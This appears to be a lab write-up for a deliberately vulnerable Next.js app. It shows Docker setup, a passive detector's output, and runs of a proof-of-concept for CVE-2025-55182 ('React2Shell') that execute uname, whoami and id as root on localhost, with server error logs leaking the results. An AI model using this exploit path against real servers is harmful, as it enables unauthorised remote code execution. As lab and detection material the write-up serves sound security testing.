X-Powered-By: Next.js
x-middleware-rewrite: /...
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Url, Accept-Encoding

nextjs-vuln/
│
├── Dockerfile
├── package.json
├── middleware.js
│
└── app/
    ├── page/
    │   └── index.js
    │
    ├── protected/
    │   └── page.js
    │
    └── api/
        └── admin/
            └── secret/
                └── route.js

docker build -t nextjs-vuln .
docker run -p 3000:3000 nextjs-vuln

python3 NextJs.py -u http://localhost:3000

krakhen@kapz:~$ python3 NextJs.py -u http://localhost:3000
Next.js React2Shell Passive Detector
------------------------------------

[+] Target URL : http://127.0.0.1:3000
[+] Timeout    : 10s
[+] TLS verify : enabled

=== Fingerprint ===
  - Next.js detected via headers.
  - React Server Components (RSC) detected.
  - Inferred Next.js generation: Next.js (generation unclear)

=== React2Shell Probe ===
  - Benign React Flight gadget executed and returned marker digest.
  - This strongly suggests React2Shell / CVE-2025-55182 style vulnerability.

=== Summary ===
Timestamp (UTC): 2025-12-05T22:04:25.089044+00:00
Target         : http://127.0.0.1:3000
HTTP status    : 500
Digest         : REACT2SHELL_PROBE
Verdict        : LIKELY_VULNERABLE to React2Shell-style exploit path

Response body (truncated):
0:{"a":"$@1","f":"","b":"development"} 1:E{"digest":"REACT2SHELL_PROBE","message":"NEXT_REDIRECT","stack":[],"env":"Server"}

krakhen@kapz:~/$ python poc-cve-2025-55182.py -u http://127.0.0.1:3000 -c "uname -a"
React2Shell PoC - CVE-2025-55182
---------------------------------

[+] Target URL : http://127.0.0.1:3000
[+] Command    : uname -a

[+] Sending crafted Flight payload...
[+] HTTP status: 500

[✓] RCE confirmed. Command output:

    Linux 5596495ec378 6.11.0-29-generic #29-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 13 20:29:41 UTC 2025 x86_64 Linux

krakhen@kapz:~/$ python poc-cve-2025-55182.py -u http://127.0.0.1:3000 -c "whoami"
React2Shell PoC - CVE-2025-55182
---------------------------------

[+] Target URL : http://127.0.0.1:3000
[+] Command    : whoami

[+] Sending crafted Flight payload...
[+] HTTP status: 500

[✓] RCE confirmed. Command output:

    root

krakhen@kapz:~/$ python poc-cve-2025-55182.py -u http://127.0.0.1:3000 -c "id"
React2Shell PoC - CVE-2025-55182
---------------------------------

[+] Target URL : http://127.0.0.1:3000
[+] Command    : id

[+] Sending crafted Flight payload...
[+] HTTP status: 500

[✓] RCE confirmed. Command output:

    uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

 POST / 500 in 10ms
 ⨯ next/dist/compiled/react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js (3158:34) @ get
 ⨯ Internal error: Error: NEXT_REDIRECT
    at Object.eval [as then] (eval at <anonymous> (/app/node_modules/next/dist/compiled/next-server/app-page.runtime.dev.js:122:67039), <anonymous>:3:132)
    at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
digest: "Linux 5596495ec378 6.11.0-29-generic #29-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 13 20:29:41 UTC 2025 x86_64 Linux"
  3156 |             return (
  3157 |               (obj = parseInt(value.slice(2), 16)),
> 3158 |               response._formData.get(response._prefix + obj)
       |                                  ^
  3159 |             );
  3160 |         }
  3161 |         switch (value[1]) {
 POST / 500 in 11ms
 ⨯ next/dist/compiled/react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js (3158:34) @ get
 ⨯ Internal error: Error: NEXT_REDIRECT
    at Object.eval [as then] (eval at <anonymous> (/app/node_modules/next/dist/compiled/next-server/app-page.runtime.dev.js:122:67039), <anonymous>:3:130)
    at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
digest: "root"
  3156 |             return (
  3157 |               (obj = parseInt(value.slice(2), 16)),
> 3158 |               response._formData.get(response._prefix + obj)
       |                                  ^
  3159 |             );
  3160 |         }
  3161 |         switch (value[1]) {
 POST / 500 in 11ms
 ⨯ next/dist/compiled/react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js (3158:34) @ get
 ⨯ Internal error: Error: NEXT_REDIRECT
    at Object.eval [as then] (eval at <anonymous> (/app/node_modules/next/dist/compiled/next-server/app-page.runtime.dev.js:122:67039), <anonymous>:3:126)
    at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
digest: "uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"
  3156 |             return (
  3157 |               (obj = parseInt(value.slice(2), 16)),
> 3158 |               response._formData.get(response._prefix + obj)
       |                                  ^
  3159 |             );
  3160 |         }
  3161 |         switch (value[1]) {